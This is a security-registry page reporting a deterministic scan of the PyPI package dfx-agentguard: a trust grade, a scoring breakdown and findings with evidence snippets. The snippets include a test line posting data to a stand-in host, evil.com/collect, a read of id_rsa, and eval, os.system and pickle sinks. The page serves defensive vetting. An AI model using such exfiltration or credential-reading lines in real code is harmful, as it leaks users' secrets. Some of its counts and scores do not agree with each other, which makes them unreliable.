Dfx Agentguard MCP Server

dfx-agentguard PyPI v0.8.3

Published by dockfixlabs — no publish provenance, so origin is unverified, but the source is public: the repository link below is self-declared yet readable, so you can inspect the code before adopting it.

Trust grade
D
62/100
Last scanned
Trust
D · 62/100
Adoption risk for you: the threat score, then adjusted down for blast radius, publisher verification and how much the scan could see. Deterministic; every point is auditable.
Capability
High
Blast radius if it went rogue — what the server’s tools could reach. Independent of trust.
Coverage
Source
How much the scan could actually inspect. Shallow coverage is stated, never hidden.
D Why this grade threat 69 − adoption risk = 62/100

The grade answers one question — how safe is this server for you to adopt — so it is computed in two auditable stages. Nothing below is an opinion or an LLM's guess; every line is a real term the deterministic engine applied, and the same input always yields the same number.

1. Threat score — 100 − 31.5 = 69. What the published surface and source actually contain:

PointsWhat was foundCategory
−22 Hardcoded AWS access key id in server code MTC-SRC-008 exfiltration
−9.5 Unsafe deserialization ×2 MTC-SRC-007 permissions

2. Client adoption risk — 69 − 7 = 62. Three small, subtract-only factors that reflect your risk in adopting it — a clean scan proves less on a powerful, unverified or barely-inspectable package, so the grade says so plainly:

PointsAdoption-risk factor
−6 capability blast radius (high) — client exposure if the model is manipulated
−1 publisher verification (public source) — no provenance, but the source is public and inspectable
inspection depth (source) — how much of the target the scan could see

Grade capped: 1 confirmed high finding → grade capped at C. A hard gate overrides the point total — no amount of clean surface buys back a confirmed catastrophe.

Capability observations and info notes are shown under Findings but never scored. Open any row's finding below for the file, line and evidence behind a deduction.

Findings 21

high Reads a sensitive credential path or dumps the environment (tests/samples/benchmark_mount_02.py)MTC-SRC-006

In the server's implementation (`tests/samples/benchmark_mount_02.py:16`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: id_rsa

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/samples/benchmark_mount_02.py

high Hardcoded AWS access key id in server code (tests/test_scanner.py)MTC-SRC-008

A live-looking AWS access key id is hardcoded in `tests/test_scanner.py:152`. Secrets in source ship to everyone who installs the package and are a direct credential leak.

Evidence: AWS access key id: AKIA…(redacted)

Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.

Location: server tests/test_scanner.py

high Dynamic code execution in server code (agentguard/false_positive_filter.py)MTC-SRC-001

In the server's implementation (`agentguard/false_positive_filter.py:104`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server agentguard/false_positive_filter.py

high Dynamic code execution in server code (agentguard/rules/unsafe_eval.py)MTC-SRC-001

In the server's implementation (`agentguard/rules/unsafe_eval.py:11`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server agentguard/rules/unsafe_eval.py

high Dynamic code execution in server code (tests/test_scanner.py)MTC-SRC-001

In the server's implementation (`tests/test_scanner.py:24`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_scanner.py

high Dynamic code execution in server code (tests/test_stegano.py)MTC-SRC-001

In the server's implementation (`tests/test_stegano.py:34`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_stegano.py

high Dynamic code execution in server code (tests/test_tool_trust.py)MTC-SRC-001

In the server's implementation (`tests/test_tool_trust.py:34`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: eval(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_tool_trust.py

high Shell/command execution in server code (agentguard/precommit.py)MTC-SRC-002

In the server's implementation (`agentguard/precommit.py:38`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: subprocess.run(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server agentguard/precommit.py

high Shell/command execution in server code (agentguard/rules/tool_abuse.py)MTC-SRC-002

In the server's implementation (`agentguard/rules/tool_abuse.py:9`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: shell=True

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server agentguard/rules/tool_abuse.py

high Shell/command execution in server code (agentguard/rules/unsafe_eval.py)MTC-SRC-002

In the server's implementation (`agentguard/rules/unsafe_eval.py:12`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: exec(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server agentguard/rules/unsafe_eval.py

high Shell/command execution in server code (tests/samples/benchmark_mount_02.py)MTC-SRC-002

In the server's implementation (`tests/samples/benchmark_mount_02.py:16`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: os.system(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/samples/benchmark_mount_02.py

high Shell/command execution in server code (tests/test_mount_exposure.py)MTC-SRC-002

In the server's implementation (`tests/test_mount_exposure.py:56`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: subprocess.run(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_mount_exposure.py

high Shell/command execution in server code (tests/test_precommit.py)MTC-SRC-002

In the server's implementation (`tests/test_precommit.py:11`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: subprocess.run(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_precommit.py

high Shell/command execution in server code (tests/test_scanner.py)MTC-SRC-002

In the server's implementation (`tests/test_scanner.py:21`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: os.system(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_scanner.py

high Shell/command execution in server code (tests/test_stegano.py)MTC-SRC-002

In the server's implementation (`tests/test_stegano.py:18`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: os.system(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_stegano.py

high Shell/command execution in server code (tests/test_tool_trust.py)MTC-SRC-002

In the server's implementation (`tests/test_tool_trust.py:18`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: subprocess.run(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_tool_trust.py

medium Hardcoded egress to an external endpoint (tests/test_interprocedural.py)MTC-SRC-003

In the server's implementation (`tests/test_interprocedural.py:120`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: fetch("https://api.openai.com/v1/chat/completions"

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_interprocedural.py

medium Hardcoded egress to an external endpoint (tests/test_scanner.py)MTC-SRC-003

In the server's implementation (`tests/test_scanner.py:221`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: requests.post("https://evil.com/collect"

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_scanner.py

medium Dynamic module load from a non-literal (agentguard/rules/unsafe_eval.py)MTC-SRC-005

In the server's implementation (`agentguard/rules/unsafe_eval.py:13`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: __import__(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server agentguard/rules/unsafe_eval.py

medium Unsafe deserialization (agentguard/rules/unsafe_eval.py)MTC-SRC-007

In the server's implementation (`agentguard/rules/unsafe_eval.py:19`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: pickle.load(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server agentguard/rules/unsafe_eval.py

medium Unsafe deserialization (tests/test_scanner.py)MTC-SRC-007

In the server's implementation (`tests/test_scanner.py:442`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: pickle.loads(

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_scanner.py

What this scan could not see

Versions

Scan history per published version. The engine is deterministic — the same version always yields the same score, so a changed score means the package itself changed.

VersionScoreFindingsEngineScanned
v0.8.3 latest D 69/100 21 1.5.0 2026-07-23

Embed this score

Show this server's live Trust Score in your README, docs or website. The badge is served straight from the registry and updates automatically after every rescan — no API key needed. It links back to this page, so anyone who sees the grade can also read the findings behind it instead of taking a number on faith.

MCP Trust Score: D · 62/100
Markdown (GitHub README)
[![MCP Trust Score](https://mcptrustchecker.com/registry/dfx-agentguard/badge.svg)](https://mcptrustchecker.com/registry/dfx-agentguard)
HTML
<a href="https://mcptrustchecker.com/registry/dfx-agentguard"><img src="https://mcptrustchecker.com/registry/dfx-agentguard/badge.svg" alt="MCP Trust Score" height="20"></a>
Prefer shields.io styling? Point it at https://mcptrustchecker.com/registry/dfx-agentguard/badge.json via https://img.shields.io/endpoint?url=…

Verify this score yourself

The score above is reproducible: the same package version always yields the same result. Run it locally or over the free API — no account, no LLM, fully deterministic.

npx mcptrustchecker scan dfx-agentguard --online --registry pypi

Use the free API → How scoring works

More in Developer Tools